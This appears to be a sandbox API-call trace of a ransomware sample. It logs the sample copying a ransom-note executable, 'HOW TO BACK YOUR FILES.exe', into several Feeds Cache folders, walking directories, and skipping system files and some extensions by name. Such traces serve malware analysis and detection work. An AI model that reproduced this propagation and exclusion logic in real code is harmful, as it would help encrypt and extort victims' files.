	[0038.629] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.635] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.635] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2345f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca450
	[0038.636] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.636] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.636] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.636] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2345f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.636] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.636] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.636] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.636] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.636] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0038.636] lstrlenW (lpString="desktop.ini") returned 11
	[0038.636] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*") returned 63
	[0038.636] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0038.636] lstrlenW (lpString="desktop.ini") returned 11
	[0038.636] lstrlenW (lpString="Apollon865") returned 10
	[0038.636] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0038.636] lstrlenW (lpString=".dll") returned 4
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0038.636] lstrlenW (lpString=".lnk") returned 4
	[0038.636] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0038.637] lstrlenW (lpString=".ini") returned 4
	[0038.637] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0038.637] lstrlenW (lpString=".sys") returned 4
	[0038.637] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0038.637] lstrlenW (lpString="desktop.ini") returned 11
	[0038.637] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="fwlink[1]" | out: lpString1="fwlink[1]") returned="fwlink[1]"
	[0038.637] lstrlenW (lpString="fwlink[1]") returned 9
	[0038.637] lstrlenW (lpString="Apollon865") returned 10
	[0038.637] lstrlenW (lpString=".dll") returned 4
	[0038.637] lstrcmpiW (lpString1="fwlink[1]", lpString2=".dll") returned 1
	[0038.637] lstrlenW (lpString=".lnk") returned 4
	[0038.637] lstrcmpiW (lpString1="fwlink[1]", lpString2=".lnk") returned 1
	[0038.637] lstrlenW (lpString=".ini") returned 4
	[0038.637] lstrcmpiW (lpString1="fwlink[1]", lpString2=".ini") returned 1
	[0038.637] lstrlenW (lpString=".sys") returned 4
	[0038.637] lstrcmpiW (lpString1="fwlink[1]", lpString2=".sys") returned 1
	[0038.637] lstrlenW (lpString="fwlink[1]") returned 9
	[0038.637] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ"
	[0038.637] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0038.637] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0038.637] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ") returned 61
	[0038.637] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ"
	[0038.637] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.637] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.641] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.641] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2345f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca450
	[0038.641] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.642] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.642] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.642] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2345f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.642] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.642] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.642] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.642] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.642] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0038.642] lstrlenW (lpString="desktop.ini") returned 11
	[0038.642] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*") returned 63
	[0038.642] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0038.642] lstrlenW (lpString="desktop.ini") returned 11
	[0038.642] lstrlenW (lpString="Apollon865") returned 10
	[0038.642] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0038.642] lstrlenW (lpString=".dll") returned 4
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0038.642] lstrlenW (lpString=".lnk") returned 4
	[0038.642] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0038.643] lstrlenW (lpString=".ini") returned 4
	[0038.643] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0038.643] lstrlenW (lpString=".sys") returned 4
	[0038.643] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0038.643] lstrlenW (lpString="desktop.ini") returned 11
	[0038.643] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="fwlink[1]" | out: lpString1="fwlink[1]") returned="fwlink[1]"
	[0038.643] lstrlenW (lpString="fwlink[1]") returned 9
	[0038.643] lstrlenW (lpString="Apollon865") returned 10
	[0038.643] lstrlenW (lpString=".dll") returned 4
	[0038.643] lstrcmpiW (lpString1="fwlink[1]", lpString2=".dll") returned 1
	[0038.643] lstrlenW (lpString=".lnk") returned 4
	[0038.643] lstrcmpiW (lpString1="fwlink[1]", lpString2=".lnk") returned 1
	[0038.643] lstrlenW (lpString=".ini") returned 4
	[0038.643] lstrcmpiW (lpString1="fwlink[1]", lpString2=".ini") returned 1
	[0038.643] lstrlenW (lpString=".sys") returned 4
	[0038.643] lstrcmpiW (lpString1="fwlink[1]", lpString2=".sys") returned 1
	[0038.643] lstrlenW (lpString="fwlink[1]") returned 9
	[0038.643] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7"
	[0038.643] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0038.643] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0038.643] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7") returned 61
	[0038.643] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7"
	[0038.643] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.643] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.647] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.647] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f25a750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f25a750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca450
	[0038.647] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.647] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.647] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.648] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f25a750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f25a750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.648] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.648] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.648] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.648] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.648] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0038.648] lstrlenW (lpString="desktop.ini") returned 11
	[0038.648] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*") returned 63
	[0038.648] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0038.648] lstrlenW (lpString="desktop.ini") returned 11
	[0038.648] lstrlenW (lpString="Apollon865") returned 10
	[0038.648] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0038.648] lstrlenW (lpString=".dll") returned 4
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0038.648] lstrlenW (lpString=".lnk") returned 4
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0038.648] lstrlenW (lpString=".ini") returned 4
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0038.648] lstrlenW (lpString=".sys") returned 4
	[0038.648] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0038.648] lstrlenW (lpString="desktop.ini") returned 11
	[0038.648] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="fwlink[1]" | out: lpString1="fwlink[1]") returned="fwlink[1]"
	[0038.649] lstrlenW (lpString="fwlink[1]") returned 9
	[0038.649] lstrlenW (lpString="Apollon865") returned 10
	[0038.649] lstrlenW (lpString=".dll") returned 4
	[0038.649] lstrcmpiW (lpString1="fwlink[1]", lpString2=".dll") returned 1
	[0038.649] lstrlenW (lpString=".lnk") returned 4
	[0038.649] lstrcmpiW (lpString1="fwlink[1]", lpString2=".lnk") returned 1
	[0038.649] lstrlenW (lpString=".ini") returned 4
	[0038.649] lstrcmpiW (lpString1="fwlink[1]", lpString2=".ini") returned 1
	[0038.649] lstrlenW (lpString=".sys") returned 4
	[0038.649] lstrcmpiW (lpString1="fwlink[1]", lpString2=".sys") returned 1
	[0038.649] lstrlenW (lpString="fwlink[1]") returned 9
	[0038.649] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR"
	[0038.649] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0038.649] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0038.649] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR") returned 61
	[0038.649] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR"
	[0038.649] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.649] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.654] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.654] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f25a750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f25a750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca450
	[0038.654] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.654] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.654] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.654] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f25a750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f25a750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.654] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.654] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.654] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.654] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.654] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0038.654] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.654] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0038.654] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0038.654] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0038.654] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0038.654] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0038.654] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0038.654] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0038.655] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0038.655] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0038.655] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0038.655] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0038.655] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0038.655] lstrlenW (lpString="desktop.ini") returned 11
	[0038.655] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*") returned 63
	[0038.655] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0038.655] lstrlenW (lpString="desktop.ini") returned 11
	[0038.655] lstrlenW (lpString="Apollon865") returned 10
	[0038.655] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0038.655] lstrlenW (lpString=".dll") returned 4
	[0038.655] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0038.655] lstrlenW (lpString=".lnk") returned 4
	[0038.655] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0038.655] lstrlenW (lpString=".ini") returned 4
	[0038.655] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0038.655] lstrlenW (lpString=".sys") returned 4
	[0038.655] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0038.655] lstrlenW (lpString="desktop.ini") returned 11
	[0038.655] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="fwlink[1]" | out: lpString1="fwlink[1]") returned="fwlink[1]"
	[0038.655] lstrlenW (lpString="fwlink[1]") returned 9
	[0038.655] lstrlenW (lpString="Apollon865") returned 10
	[0038.655] lstrlenW (lpString=".dll") returned 4
	[0038.655] lstrcmpiW (lpString1="fwlink[1]", lpString2=".dll") returned 1
	[0038.655] lstrlenW (lpString=".lnk") returned 4
	[0038.655] lstrcmpiW (lpString1="fwlink[1]", lpString2=".lnk") returned 1
	[0038.655] lstrlenW (lpString=".ini") returned 4
	[0038.655] lstrcmpiW (lpString1="fwlink[1]", lpString2=".ini") returned 1
	[0038.655] lstrlenW (lpString=".sys") returned 4
	[0038.655] lstrcmpiW (lpString1="fwlink[1]", lpString2=".sys") returned 1
	[0038.655] lstrlenW (lpString="fwlink[1]") returned 9
	[0038.655] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds"
	[0038.655] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
